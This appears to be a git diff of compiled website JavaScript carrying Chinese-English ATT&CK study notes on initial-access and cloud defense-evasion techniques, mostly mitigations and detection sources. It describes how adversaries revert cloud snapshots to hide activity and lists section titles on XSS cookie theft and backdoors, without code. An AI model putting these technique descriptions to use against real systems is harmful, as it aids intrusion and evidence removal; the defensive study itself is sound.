网络流量"),o(r)])]),fn])])])]),mn,kn,e("ul",null,[e("li",null,[e("p",null,[e("a",bn,[t("M1049"),o(r)]),t(),e("a",Sn,[t("Antivirus/Antimalware 防病毒/反恶意软件"),o(r)])]),Mn]),e("li",null,[e("p",null,[e("a",Dn,[t("M1031"),o(r)]),t(),e("a",wn,[t(" Network Intrusion Prevention - 网络入侵防御"),o(r)])]),vn]),e("li",null,[e("p",null,[e("a",An,[t("M1021"),o(r)]),t(),e("a",yn,[t(" Restrict Web-Based Content - 限制基于 Web 的内容"),o(r)])]),Cn]),e("li",null,[e("p",null,[e("a",Tn,[t("M1054"),o(r)]),t(),e("a",xn,[t(" Software Configuration - 软件配置"),o(r)])]),Ln])]),Nn,Pn,e("ul",null,[e("li",null,[e("p",null,[e("a",Fn,[t("DS0015"),o(r)]),t(),e("a",In,[t("Application Log"),o(r)]),t(),e("a",En,[t("Application Log Content - 应用程序日志内容"),o(r)])]),Un]),e("li",null,[e("p",null,[e("a",Wn,[t("DS0022"),o(r)]),t(),e("a",qn,[t("File"),o(r)]),t(),e("a",Bn,[t("File Creation"),o(r)])]),Rn]),e("li",null,[e("p",null,[e("a",Vn,[t("DS0029"),o(r)]),t(),e("a",Hn,[t("Network Traffic"),o(r)])]),e("ul",null,[e("li",null,[e("p",null,[e("a",On,[t("Network Traffic Content - 网络流量内容"),o(r)])]),Kn]),e("li",null,[e("p",null,[e("a",Xn,[t("Network Traffic Flow - 网络流量"),o(r)])]),zn])])])]),Gn,e("h2",jn,[Jn,t(),e("a",Qn,[t("T1091"),o(r)]),t(),e("a",Yn,[t("Replication Through Removable Media"),o(r)]),t(" 通过移动介质复制")]),Zn,$n,e("blockquote",null,[ea,e("p",null,[e("a",ta,[t("Air gap (networking) - Wikipedia --- 气隙(网络)——维基百科"),o(r)])]),e("p",null,[e("a",ra,[t("What Is an Air-Gapped Network? Why Should You Use One? (makeuseof.com)"),o(r)])]),e("p",null,[e("a",oa,[t("Message from SentinelOne"),o(r)])])]),na,aa,e("ul",null,[e("li",null,[e("p",null,[e("a",sa,[t("M1040"),o(r)]),t(),e("a",ia,[t(" Behavior Prevention on Endpoin - 端点行为预防"),o(r)])]),la]),e("li",null,[e("p",null,[e("a",ha,[t("M1042"),o(r)]),t(),e("a",ca,[t(" Disable or Remove Feature or Program - 禁用或删除功能或程序"),o(r)])]),_a,da]),e("li",null,[e("p",null,[e("a",pa,[t("M1034"),o(r)]),t(),e("a",ua,[t(" Limit Hardware Installation - 限制硬件安装"),o(r)])]),ga])]),fa,ma,e("ul",null,[e("li",null,[e("p",null,[e("a",ka,[t("DS0016"),o(r)]),t(),e("a",ba,[t("Drive"),o(r)]),t(),e("a",Sa,[t("Drive Creation"),o(r)])]),Ma]),e("li",null,[e("p",null,[e("a",Da,[t("DS0022"),o(r)]),t(),e("a",wa,[t("File"),o(r)])]),e("ul",null,[e("li",null,[e("p",null,[e("a",va,[t("File Access - 文件访问"),o(r)])]),Aa]),e("li",null,[e("p",null,[e("a",ya,[t("File Creation - 文件新建"),o(r)])]),Ca])])]),e("li",null,[e("p",null,[e("a",Ta,[t("DS0009"),o(r)]),t(),e("a",xa,[t("Process"),o(r)]),t(),e("a",La,[t("Process Creation - 进程新建"),o(r)])]),Na])]),Pa,e("h2",Fa,[Ia,t(),e("a",Ea,[t("T1195"),o(r)]),t(),e("a",Ua,[t(" Supply Chain Compromise"),o(r)]),t(" 供应链渗透")]),Wa,qa,Ba,Ra,Va,Ha,Oa,e("p",null,[Ka,t(": "),e("a",Xa,[t("S0658"),o(r)]),t(" - "),e("a",za,[t("XCSSET"),o(r)])]),Ga,ja,Ja,Qa,e("ul",null,[e("li",null,[e("p",null,[e("a",Ya,[t("M1051"),o(r)]),t(),e("a",Za,[t("Update Software"),o(r)]),t(" 应该实施补丁管理流程来检查未使用的依赖项、未维护和/或以前易受攻击的依赖项、不必要的功能、组件、文件和文档。")])]),e("li",null,[e("p",null,[e("a",$a,[t("M1016"),o(r)]),t(),e("a",es,[t("Vulnerability Scanning - 漏洞扫描"),o(r)])]),ts])]),rs,os,e("ul",null,[e("li",null,[e("p",null,[e("a",ns,[t("DS0022"),o(r)]),t(),e("a",as,[t("File"),o(r)]),t(),e("a",ss,[t("File Metadata"),o(r)])]),is])]),ls,e("h3",hs,[cs,t(" T1195.002 "),e("a",_s,[t("Compromise Software Supply Chain"),o(r)]),t(" 渗透软件供应链")]),ds,ps,us,gs,e("ul",null,[e("li",null,[e("p",null,[e("a",fs,[t("S0222"),o(r)]),t(),e("a",ms,[t("CCBkdr"),o(r)])]),ks,bs])]),Ss,Ms,e("ul",null,[e("li",null,[e("p",null,[e("a",Ds,[t("M1051"),o(r)]),t(),e("a",ws,[t(" Update Software"),o(r)])]),vs]),e("li",null,[e("p",null,[e("a",As,[t("M1016"),o(r)]),t(),e("a",ys,[t("Vulnerability Scanning 漏洞扫描"),o(r)])]),Cs])]),Ts,xs,e("ul",null,[e("li",null,[e("p",null,[e("a",Ls,[t("DS0022"),o(r)]),t(),e("a",Ns,[t("File"),o(r)]),t(),e("a",Ps,[t("File Metadata"),o(r)])]),Fs])]),Is,e("h3",Es,[Us,t(" T1195.003 "),e("a",Ws,[t("Compromise Hardware Supply Chain"),o(r)]),t(" 渗透硬件供应链")]),qs,Bs,Rs,Vs,e("ul",null,[e("li",null,[e("p",null,[e("a",Hs,[t("M1046"),o(r)]),t(),e("a",Os,[t("Boot Integrity"),o(r)])]),Ks])]),Xs,zs,e("ul",null,[e("li",null,[e("p",null,[e("a",Gs,[t("DS0013"),o(r)]),t(),e("a",js,[t("Sensor Health"),o(r)]),t(),e("a",Js,[t(" Host Status"),o(r)])]),Qs])]),Ys,Zs,e("ul",null,[e("li",null,[e("p",null,[e("a",$s,[t("M1051"),o(r)]),t(),e("a",ei,[t(" Update Software - 更新软件"),o(r)])]),ti]),e("li",null,[e("p",null,[e("a",ri,[t("M1016"),o(r)]),t(),e("a",oi,[t("Vulnerability Scanning 漏洞扫描"),o(r)])]),ni])]),ai,si,e("ul",null,[e("li",null,[e("p",null,[e("a",ii,[t("DS0022"),o(r)]),t(),e("a",li,[t("File"),o(r)]),t(),e("a",hi,[t("File Metadata - 文件元数据"),o(r)])]),ci]),e("li",null,[e("p",null,[e("a",_i,[t("DS0013"),o(r)]),t(),e("a",di,[t("Sensor Health"),o(r)]),t(),e("a",pi,[t("Host Status - 主机状态(健康状况)"),o(r)])]),ui])]),gi,e("h2",fi,[mi,t(" T1199 "),e("a",ki,[t("Trusted Relationship"),o(r)]),t(" 利用可靠关系")]),bi,Si,Mi,Di,wi,e("ul",null,[e("li",null,[e("p",null,[e("a",vi,[t("M1032"),o(r)]),t(),e("a",Ai,[t("Multi-factor Authentication 多重身份验证"),o(r)])]),yi]),e("li",null,[e("p",null,[e("a",Ci,[t("M1030"),o(r)]),t(),e("a",Ti,[t("Network Segmentation 网络分割"),o(r)])]),xi]),e("li",null,[e("p",null,[e("a",Li,[t("M1018"),o(r)]),t(),e("a",Ni,[t(" User Account Management - 用户账户管理"),o(r)])]),Pi])]),Fi,Ii,e("ul",null,[e("li",null,[e("p",null,[e("a",Ei,[t("DS0015"),o(r)]),t(),e("a",Ui,[t("Application Log"),o(r)]),t(),e("a",Wi,[t("Application Log Content - 应用程序日志内容"),o(r)])]),qi]),e("li",null,[e("p",null,[e("a",Bi,[t("DS0028"),o(r)]),t(),e("a",Ri,[t("Logon Session"),o(r)])]),e("ul",null,[e("li",null,[e("p",null,[e("a",Vi,[t("Logon Session Creation - 登录会话创建"),o(r)])]),Hi]),e("li",null,[e("p",null,[e("a",Oi,[t("Logon Session Metadata - 登录会话元数据"),o(r)])]),Ki])])]),e("li",null,[e("p",null,[e("a",Xi,[t("DS0029"),o(r)]),t(),e("a",zi,[t("Network Traffic"),o(r)]),t(),e("a",Gi,[t("Network Traffic Content - 网络流量内容"),o(r)])]),ji])]),Ji,e("h2",Qi,[Yi,t(" T1078 "),e("a",Zi,[t("Valid Accounts"),o(r)]),t(" 利用合法账户")]),$i,el,tl,rl,e("h3",ol,[nl,t(" T1078.001 "),e("a",al,[t("Default Accounts"),o(r)]),t(" 默认账户")]),sl,il,ll,hl,e("ul",null,[e("li",null,[e("p",null,[e("a",cl,[t("M1027"),o(r)]),t(),e("a",_l,[t("Password Policies"),o(r)])]),dl])]),pl,ul,e("ul",null,[e("li",null,[e("p",null,[e("a",gl,[t("DS0028"),o(r)]),t(),e("a",fl,[t("Logon Session"),o(r)]),t(),e("a",ml,[t("Logon Session Creation - 登录会话创建"),o(r)])]),kl]),e("li",null,[e("p",null,[e("a",bl,[t("DS0002"),o(r)]),t(),e("a",Sl,[t("User Account"),o(r)]),t(),e("a",Ml,[t("User Account Authentication - 用户账户认证"),o(r)])]),Dl])]),wl,vl,Al,yl,Cl,Tl,e("ul",null,[e("li",null,[e("p",null,[e("a",xl,[t("M1032"),o(r)]),t(),e("a",Ll,[t(" Multi-factor Authentication - 多重身份验证"),o(r)])]),Nl]),e("li",null,[e("p",null,[e("a",Pl,[t("M1026"),o(r)]),t(),e("a",Fl,[t(" Privileged Account Management - 特权账户管理"),o(r)])]),Il]),e("li",null,[e("p",null,[e("a",El,[t("M1017"),o(r)]),t(),e("a",Ul,[t("User Training"),o(r)])]),Wl])]),ql,Bl,e("ul",null,[e("li",null,[e("p",null,[e("a",Rl,[t("DS0028"),o(r)]),t(),e("a",Vl,[t("Logon Session"),o(r)])]),e("ul",null,[e("li",null,[e("p",null,[e("a",Hl,[t("Logon Session Creation - 登录会话创建"),o(r)])]),Ol,Kl,Xl,zl]),e("li",null,[e("p",null,[e("a",Gl,[t("Logon Session Metadata - 登录会话元数据"),o(r)])]),jl])])]),e("li",null,[e("p",null,[e("a",Jl,[t("DS0002"),o(r)]),t(),e("a",Ql,[t("User Account"),o(r)]),t(),e("a",Yl,[t("User Account Authentication - 用户账户认证"),o(r)])]),Zl])]),$l,e("h3",eh,[th,t(" T1078.003 "),e("a",rh,[t("Local Accounts"),o(r)]),t(" 本地账户")]),oh,nh,ah,e("ul",null,[e("li",null,[e("p",null,[e("a",sh,[t("M1027"),o(r)]),t(),e("a",ih,[t("Password Policies"),o(r)])]),lh]),e("li",null,[e("p",null,[e("a",hh,[t("M1026"),o(r)]),t(),e("a",ch,[t(" Privileged Account Management - 特权账户管理"),o(r)])]),_h,dh])]),ph,uh,e("ul",null,[e("li",null,[e("p",null,[e("a",gh,[t("DS0028"),o(r)]),t(),e("a",fh,[t("Logon Session"),o(r)])]),e("ul",null,[e("li",null,[e("p",null,[e("a",mh,[t("Logon Session Creation - 登录会话创建"),o(r)])]),kh]),e("li",null,[e("p",null,[e("a",bh,[t("Logon Session Metadata - 登录会话元数据"),o(r)])]),Sh])])]),e("li",null,[e("p",null,[e("a",Mh,[t("DS0002"),o(r)]),t(),e("a",Dh,[t("User Account"),o(r)]),t(),e("a",wh,[t("User Account Authentication - 用户账户认证"),o(r)])]),vh])]),Ah,e("h3",yh,[Ch,t(" T1078.004 "),e("a",Th,[t("Cloud Accounts"),o(r)]),t(" 云账户")]),xh,Lh,Nh,Ph,e("ul",null,[e("li",null,[e("p",null,[e("a",Fh,[t(" M1032 "),o(r)]),t(),e("a",Ih,[t(" Multi-factor Authentication - 多重身份验证"),o(r)])]),Eh]),e("li",null,[e("p",null,[e("a",Uh,[t(" M1027 "),o(r)]),t(),e("a",Wh,[t(" Password Policies "),o(r)])]),qh]),e("li",null,[e("p",null,[e("a",Bh,[t(" M1026 "),o(r)]),t(),e("a",Rh,[t(" Privileged Account Managemen - 特权账户管理"),o(r)])]),Vh,Hh]),e("li",null,[e("p",null,[e("a",Oh,[t(" M1018 "),o(r)]),t(),e("a",Kh,[t(" User Account Management - 用户账户管理"),o(r)])]),Xh]),e("li",null,[e("p",null,[e("a",zh,[t(" M1017 "),o(r)]),t(),e("a",Gh,[t(" User Training "),o(r)])]),jh])]),Jh,Qh,e("ul",null,[e("li",null,[e("p",null,[e("a",Yh,[t("DS0028"),o(r)]),t(),e("a",Zh,[t("Logon Session"),o(r)])]),e("ul",null,[e("li",null,[e("p",null,[e("a",$h,[t("Logon Session Creation - 登录会话创建"),o(r)])]),ec]),e("li",null,[e("p",null,[e("a",tc,[t("Logon Session Metadata - 登录会话元数据"),o(r)])]),rc])])]),e("li",null,[e("p",null,[e("a",oc,[t("DS0002"),o(r)]),t(),e("a",nc,[t("User Account"),o(r)]),t(),e("a",ac,[t("User Account Authentication - 用户账户认证"),o(r)])]),sc])]),ic,lc,e("ul",null,[e("li",null,[e("p",null,[e("a",hc,[t("M1013"),o(r)]),t(),e("a",cc,[t(" Application Developer Guidance - 应用程序开发人员指南"),o(r)])]),_c]),e("li",null,[e("p",null,[e("a",dc,[t("M1027"),o(r)]),t(),e("a",pc,[t("Password Policies - 密码策略"),o(r)])]),uc,gc]),e("li",null,[e("p",null,[e("a",fc,[t("M1026"),o(r)]),t(),e("a",mc,[t(" Privileged Account Management - 特权账户管理"),o(r)])]),kc,bc]),e("li",null,[e("p",null,[e("a",Sc,[t("M1018"),o(r)]),t(),e("a",Mc,[t(" User Account Management - 用户账户管理"),o(r)])]),Dc]),e("li",null,[e("p",null,[e("a",wc,[t("M1017"),o(r)]),t(),e("a",vc,[t("User Training"),o(r)])]),Ac])]),yc,Cc,e("ul",null,[e("li",null,[e("p",null,[e("a",Tc,[t("DS0028"),o(r)]),t(),e("a",xc,[t("Logon Session"),o(r)])]),e("ul",null,[e("li",null,[e("p",null,[e("a",Lc,[t("Logon Session Creation - 登录会话创建"),o(r)])]),Nc]),e("li",null,[e("p",null,[e("a",Pc,[t("Logon Session Metadata - 登录会话元数据"),o(r)])]),Fc,Ic])])]),e("li",null,[e("p",null,[e("a",Ec,[t("DS0002"),o(r)]),t(),e("a",Uc,[t("User Account"),o(r)]),t(),e("a",Wc,[t("User Account Authentication - 用户账户认证"),o(r)])]),qc])]),Bc])}const Xc=n(h,[["render",Rc],["__file","TA0001-InitialAccess.html.vue"]]);export{Xc as default};
diff --git a/assets/TA0001-InitialAccess.html-a9022774.js b/assets/TA0001-InitialAccess.html-a9022774.js
new file mode 100644
index 0000000000..800945d1e3
--- /dev/null
+++ b/assets/TA0001-InitialAccess.html-a9022774.js
@@ -0,0 +1 @@
+const e=JSON.parse('{"key":"v-5d932dc5","path":"/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/ATTCK/TA0001-InitialAccess.html","title":"TA0001-InitialAccess 初始访问","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"T1189 Drive-by Compromise 水坑攻击","slug":"t1189-drive-by-compromise-水坑攻击","link":"#t1189-drive-by-compromise-水坑攻击","children":[{"level":3,"title":"在页面嵌入存储型 XSS,获得用户 cookie 信息","slug":"在页面嵌入存储型-xss-获得用户-cookie-信息","link":"#在页面嵌入存储型-xss-获得用户-cookie-信息","children":[]},{"level":3,"title":"phpstudy backdoor","slug":"phpstudy-backdoor","link":"#phpstudy-backdoor","children":[]},{"level":3,"title":"Beef 攻击框架","slug":"beef-攻击框架","link":"#beef-攻击框架","children":[]},{"level":3,"title":"缓解措施","slug":"缓解措施","link":"#缓解措施","children":[]},{"level":3,"title":"检测","slug":"检测","link":"#检测","children":[]}]},{"level":2,"title":"T1190 Exploit Public-Facing Application 利用公开漏洞","slug":"t1190-exploit-public-facing-application-利用公开漏洞","link":"#t1190-exploit-public-facing-application-利用公开漏洞","children":[{"level":3,"title":"缓解措施","slug":"缓解措施-1","link":"#缓解措施-1","children":[]},{"level":3,"title":"检测","slug":"检测-1","link":"#检测-1","children":[]}]},{"level":2,"title":"T1133 External Remote Services 外部远程服务","slug":"t1133-external-remote-services-外部远程服务","link":"#t1133-external-remote-services-外部远程服务","children":[{"level":3,"title":"缓解措施","slug":"缓解措施-2","link":"#缓解措施-2","children":[]},{"level":3,"title":"检测","slug":"检测-2","link":"#检测-2","children":[]}]},{"level":2,"title":"T1200 Hardware Additions 硬件攻击","slug":"t1200-hardware-additions-硬件攻击","link":"#t1200-hardware-additions-硬件攻击","children":[{"level":3,"title":"通过一根数据线控制你的 mac","slug":"通过一根数据线控制你的-mac","link":"#通过一根数据线控制你的-mac","children":[]},{"level":3,"title":"缓解措施","slug":"缓解措施-3","link":"#缓解措施-3","children":[]},{"level":3,"title":"检测","slug":"检测-3","link":"#检测-3","children":[]}]},{"level":2,"title":"T1566 Phishing 钓鱼","slug":"t1566-phishing-钓鱼","link":"#t1566-phishing-钓鱼","children":[{"level":3,"title":"T1566.001 Separphing Attachment 钓鱼附件","slug":"t1566-001-separphing-attachment-钓鱼附件","link":"#t1566-001-separphing-attachment-钓鱼附件","children":[]},{"level":3,"title":"T1566.002 Spearphishing Link 钓鱼链接","slug":"t1566-002-spearphishing-link-钓鱼链接","link":"#t1566-002-spearphishing-link-钓鱼链接","children":[]},{"level":3,"title":"T1566.003 Spearphishing via Service 通过服务器进行鱼叉式网络钓鱼","slug":"t1566-003-spearphishing-via-service-通过服务器进行鱼叉式网络钓鱼","link":"#t1566-003-spearphishing-via-service-通过服务器进行鱼叉式网络钓鱼","children":[]},{"level":3,"title":"缓解措施","slug":"缓解措施-7","link":"#缓解措施-7","children":[]},{"level":3,"title":"检测","slug":"检测-7","link":"#检测-7","children":[]}]},{"level":2,"title":"T1091 Replication Through Removable Media 通过移动介质复制","slug":"t1091-replication-through-removable-media-通过移动介质复制","link":"#t1091-replication-through-removable-media-通过移动介质复制","children":[{"level":3,"title":"缓解措施","slug":"缓解措施-8","link":"#缓解措施-8","children":[]},{"level":3,"title":"检测","slug":"检测-8","link":"#检测-8","children":[]}]},{"level":2,"title":"T1195 Supply Chain Compromise 供应链渗透","slug":"t1195-supply-chain-compromise-供应链渗透","link":"#t1195-supply-chain-compromise-供应链渗透","children":[{"level":3,"title":"T1195.001 Compromise Software Dependencies and Development Tools 破坏软件依赖和开发工具","slug":"t1195-001-compromise-software-dependencies-and-development-tools-破坏软件依赖和开发工具","link":"#t1195-001-compromise-software-dependencies-and-development-tools-破坏软件依赖和开发工具","children":[]},{"level":3,"title":"T1195.002 Compromise Software Supply Chain 渗透软件供应链","slug":"t1195-002-compromise-software-supply-chain-渗透软件供应链","link":"#t1195-002-compromise-software-supply-chain-渗透软件供应链","children":[]},{"level":3,"title":"T1195.003 Compromise Hardware Supply Chain 渗透硬件供应链","slug":"t1195-003-compromise-hardware-supply-chain-渗透硬件供应链","link":"#t1195-003-compromise-hardware-supply-chain-渗透硬件供应链","children":[]},{"level":3,"title":"缓解措施","slug":"缓解措施-12","link":"#缓解措施-12","children":[]},{"level":3,"title":"检测","slug":"检测-12","link":"#检测-12","children":[]}]},{"level":2,"title":"T1199 Trusted Relationship 利用可靠关系","slug":"t1199-trusted-relationship-利用可靠关系","link":"#t1199-trusted-relationship-利用可靠关系","children":[{"level":3,"title":"缓解措施","slug":"缓解措施-13","link":"#缓解措施-13","children":[]},{"level":3,"title":"检测","slug":"检测-13","link":"#检测-13","children":[]}]},{"level":2,"title":"T1078 Valid Accounts 利用合法账户","slug":"t1078-valid-accounts-利用合法账户","link":"#t1078-valid-accounts-利用合法账户","children":[{"level":3,"title":"T1078.001 Default Accounts 默认账户","slug":"t1078-001-default-accounts-默认账户","link":"#t1078-001-default-accounts-默认账户","children":[]},{"level":3,"title":"T1078.002 Domain Accounts 域账户","slug":"t1078-002-domain-accounts-域账户","link":"#t1078-002-domain-accounts-域账户","children":[]},{"level":3,"title":"T1078.003 Local Accounts 本地账户","slug":"t1078-003-local-accounts-本地账户","link":"#t1078-003-local-accounts-本地账户","children":[]},{"level":3,"title":"T1078.004 Cloud Accounts 云账户","slug":"t1078-004-cloud-accounts-云账户","link":"#t1078-004-cloud-accounts-云账户","children":[]},{"level":3,"title":"缓解措施","slug":"缓解措施-18","link":"#缓解措施-18","children":[]},{"level":3,"title":"检测","slug":"检测-18","link":"#检测-18","children":[]}]}],"git":{"createdTime":1682070294000,"updatedTime":1682070294000,"contributors":[{"name":"233Official","email":"ayusummer233@qq.com","commits":1}]},"readingTime":{"minutes":55.09,"words":16526},"filePathRelative":"网络安全/ATTCK/TA0001-InitialAccess.md","localizedDate":"2023年4月21日","excerpt":""}');export{e as data};
diff --git "a/assets/TA0005-DefenseEvasion(\344\270\213).html-4d62b4a9.js" "b/assets/TA0005-DefenseEvasion(\344\270\213).html-4d62b4a9.js"
new file mode 100644
index 0000000000..61425b867e
--- /dev/null
+++ "b/assets/TA0005-DefenseEvasion(\344\270\213).html-4d62b4a9.js"
@@ -0,0 +1 @@
+import{_ as r}from"./plugin-vue_export-helper-c27b6911.js";import{r as n,o as s,c as i,b as e,e as t,d as o,f as c}from"./app-880c6425.js";const l={},h=e("h1",{id:"ta0005-defense-evasion-下",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#ta0005-defense-evasion-下","aria-hidden":"true"},"#"),t(" TA0005-Defense Evasion(下)")],-1),d={id:"t1578-modify-cloud-compute-infrastructure-修改云计算基础结构",tabindex:"-1"},u=e("a",{class:"header-anchor",href:"#t1578-modify-cloud-compute-infrastructure-修改云计算基础结构","aria-hidden":"true"},"#",-1),p={href:"https://attack.mitre.org/techniques/T1578",target:"_blank",rel:"noopener noreferrer"},_=e("p",null,"An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses. A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots. 攻击者可能会尝试修改云帐户的计算服务基础结构以绕过防御。对计算服务基础结构的修改可以包括创建、删除或修改一个或多个组件,例如计算实例、虚拟机和快照。",-1),m=e("hr",null,null,-1),f={id:"t1578-001-create-snapshot-创建快照",tabindex:"-1"},g=e("a",{class:"header-anchor",href:"#t1578-001-create-snapshot-创建快照","aria-hidden":"true"},"#",-1),k={href:"https://attack.mitre.org/techniques/T1578/001",target:"_blank",rel:"noopener noreferrer"},v={href:"https://attack.mitre.org/techniques/T1578/004",target:"_blank",rel:"noopener noreferrer"},S=e("hr",null,null,-1),y={id:"t1578-002-create-cloud-instance-创建云实例",tabindex:"-1"},A=e("a",{class:"header-anchor",href:"#t1578-002-create-cloud-instance-创建云实例","aria-hidden":"true"},"#",-1),M={href:"https://attack.mitre.org/techniques/T1578/002",target:"_blank",rel:"noopener noreferrer"},b={href:"https://attack.mitre.org/techniques/T1578/001",target:"_blank",rel:"noopener noreferrer"},I={href:"https://attack.mitre.org/techniques/T1005",target:"_blank",rel:"noopener noreferrer"},D={href:"https://attack.mitre.org/techniques/T1074/002",target:"_blank",rel:"noopener noreferrer"},V=e("hr",null,null,-1),w={id:"t1578-003-delete-cloud-instance-删除云实例",tabindex:"-1"},T=e("a",{class:"header-anchor",href:"#t1578-003-delete-cloud-instance-删除云实例","aria-hidden":"true"},"#",-1),C={href:"https://attack.mitre.org/techniques/T1578/003",target:"_blank",rel:"noopener noreferrer"},x=e("p",null,"An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs. 攻击者在执行恶意活动以试图逃避检测并删除其存在的证据后,可能会还原对云实例所做的更改。在高度虚拟化的环境(例如基于云的基础架构)中,可以通过云管理仪表板或云 API 还原虚拟机 (VM) 或数据存储快照来实现这一点。",-1),W=e("hr",null,null,-1),q={id:"t1578-004revert-cloud-instance-恢复云实例",tabindex:"-1"},R=e("a",{class:"header-anchor",href:"#t1578-004revert-cloud-instance-恢复云实例","aria-hidden":"true"},"#",-1),P={href:"https://attack.mitre.org/techniques/T1578/004",target:"_blank",rel:"noopener noreferrer"},z=e("p",null,"An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs. 攻击者在执行恶意活动以试图逃避检测并删除其存在的证据后,可能会还原对云实例所做的更改。在高度虚拟化的环境(例如基于云的基础架构)中,可以通过云管理仪表板或云 API 还原虚拟机 (VM) 或数据存储快照来实现这一点。",-1),E=e("hr",null,null,-1),B=e("h3",{id:"mitigations-缓解措施",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#mitigations-缓解措施","aria-hidden":"true"},"#"),t(" Mitigations 缓解措施")],-1),N={href:"https://attack.mitre.org/mitigations/M1047",target:"_blank",rel:"noopener noreferrer"},L={href:"https://attack.mitre.org/mitigations/M1047",target:"_blank",rel:"noopener noreferrer"},U=e("p",null,"定期监控用户权限,以确保只有预期用户才能修改云计算基础架构组件。",-1),G={href:"https://attack.mitre.org/mitigations/M1018",target:"_blank",rel:"noopener noreferrer"},O={href:"https://attack.mitre.org/mitigations/M1018",target:"_blank",rel:"noopener noreferrer"},Y=e("p",null,"根据最低权限限制创建、删除和更改计算组件的权限。组织应限制组织内具有具有管理权限的 IAM 角色的用户数量,努力减少所有永久特权角色分配,并对 IAM 用户、角色和策略进行定期权利审查。",-1),j=e("ul",null,[e("li",null,"IAM用户是一种在AWS中创建的实体,它提供了一种与AWS资源交互的方式。IAM用户的主要目的是,它们可以登录到AWS管理控制台,并可以向AWS服务发出请求"),e("li",null,"IAM用户可以具有不同的权限,用于控制它们可以在AWS中做什么和不能做什么。权限是通过权限策略来定义和管理的,权限策略可以附加到IAM用户本身或者它所属的IAM用户组上")],-1),F={href:"https://www.howtogeek.com/devops/iam-users-vs-iam-roles-which-one-should-you-use/",target:"_blank",rel:"noopener noreferrer"},H=e("hr",null,null,-1),J=e("h3",{id:"检测方案",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#检测方案","aria-hidden":"true"},"#"),t(" 检测方案")],-1),K={href:"https://attack.mitre.org/datasources/DS0030",target:"_blank",rel:"noopener noreferrer"},Q={href:"https://attack.mitre.org/datasources/DS0030",target:"_blank",rel:"noopener noreferrer"},X=c("[Instance Creation](https://attack.mitre.org/datasources/DS0030/#Instance Creation) 实例创建
创建新实例或 VM 是许多云环境中操作的常见部分。因此,不应孤立地看待事件,而应将其视为可能导致其他活动的行为链的一部分。
例如,新用户帐户创建实例或意外创建一个或多个快照,然后创建实例可能表示可疑活动。
在 AWS 中,CloudTrail 日志在 RunInstances 事件中捕获实例的创建
而在 Azure 中,可以在 Azure 活动日志中捕获 VM 的创建。
Google 的 Cloud Audit 日志中的管理员活动审核日志可用于检测为创建 VM 而创建的 gcloud 计算实例的使用情况。
[Instance Deletion](https://attack.mitre.org/datasources/DS0030/#Instance Deletion) 实例删除
删除新实例或虚拟机是许多云环境中操作的常见部分。因此,不应孤立地看待事件,而应将其视为可能导致其他活动的行为链的一部分。例如,检测一系列事件(如创建实例、将快照装载到该实例以及新用户帐户删除该实例)可能表示可疑活动。
在 AWS 中,CloudTrail 日志捕获终止实例事件中实例的删除
而在 Azure 中,可能会在 Azure 活动日志中捕获虚拟机的删除。
Google 的云审核日志中的管理员活动审核日志可用于检测 gcloud 计算实例删除以删除虚拟机的使用情况
[Instance Metadata](https://attack.mitre.org/datasources/DS0030/#Instance Metadata) 实例元数据
定期对实例进行基准测试,以识别恶意修改或添加。
[Instance Modification](https://attack.mitre.org/datasources/DS0030/#Instance Modification) 实例修改
建立实例活动的集中日志记录,即使在恢复到快照、回滚更改或更改持久性/存储类型后,也可用于监控和查看系统事件。专门监视与快照和回滚以及 VM 配置更改相关的事件,这些事件发生在正常活动之外。为了减少误报,有效的变更管理过程可以引入一个已知的标识符,如果云提供商支持,该标识符与变更一起记录(例如,标记或标头),以帮助区分有效的预期操作和恶意操作。
[Instance Start](https://attack.mitre.org/datasources/DS0030/#Instance Start) 实例启动
建立实例活动的集中日志记录,即使在恢复到快照、回滚更改或更改持久性/存储类型后,也可用于监控和查看系统事件。专门监视与在正常活动/计划操作之外发生的实例激活相关的事件。为了减少误报,有效的变更管理过程可以引入一个已知的标识符,如果云提供商支持,该标识符与变更一起记录(例如,标记或标头),以帮助区分有效的预期操作和恶意操作。
[Instance Stop](https://attack.mitre.org/datasources/DS0030/#Instance Stop) 实例停止
建立实例活动的集中日志记录,即使在恢复到快照、回滚更改或更改持久性/存储类型后,也可用于监控和查看系统事件。专门监视与在计划操作之外发生的实例停用相关的事件。为了减少误报,有效的变更管理过程可以引入一个已知的标识符,如果云提供商支持,该标识符与变更一起记录(例如,标记或标头),以帮助区分有效的预期操作和恶意操作。
",1),Z={href:"https://attack.mitre.org/datasources/DS0020",target:"_blank",rel:"noopener noreferrer"},$={href:"https://attack.mitre.org/datasources/DS0020",target:"_blank",rel:"noopener noreferrer"},ee=e("ul",null,[e("li",null,[e("p",null,"[Snapshot Creation](https://attack.mitre.org/datasources/DS0020/#Snapshot Creation) [ Snapshot Deletion](https://attack.mitre.org/datasources/DS0020/#Snapshot Deletion) 检测快照的创建与删除"),e("p",null,"为云计算基础架构组件的活动建立集中日志记录。监视可疑的事件序列,例如在短时间内创建/删除多个快照。为了减少误报,有效的变更管理过程可以引入一个已知的标识符,如果云提供商支持,该标识符与变更一起记录(例如,标记或标头),以帮助区分有效的预期操作和恶意操作。")]),e("li",null,[e("p",null,"[Snapshot Metadata](https://attack.mitre.org/datasources/DS0020/#Snapshot Metadata) 快照元数据"),e("p",null,"定期对快照进行基线处理,以识别恶意修改或添加。")]),e("li",null,[e("p",null,"[Snapshot Modification](https://attack.mitre.org/datasources/DS0020/#Snapshot Modification) 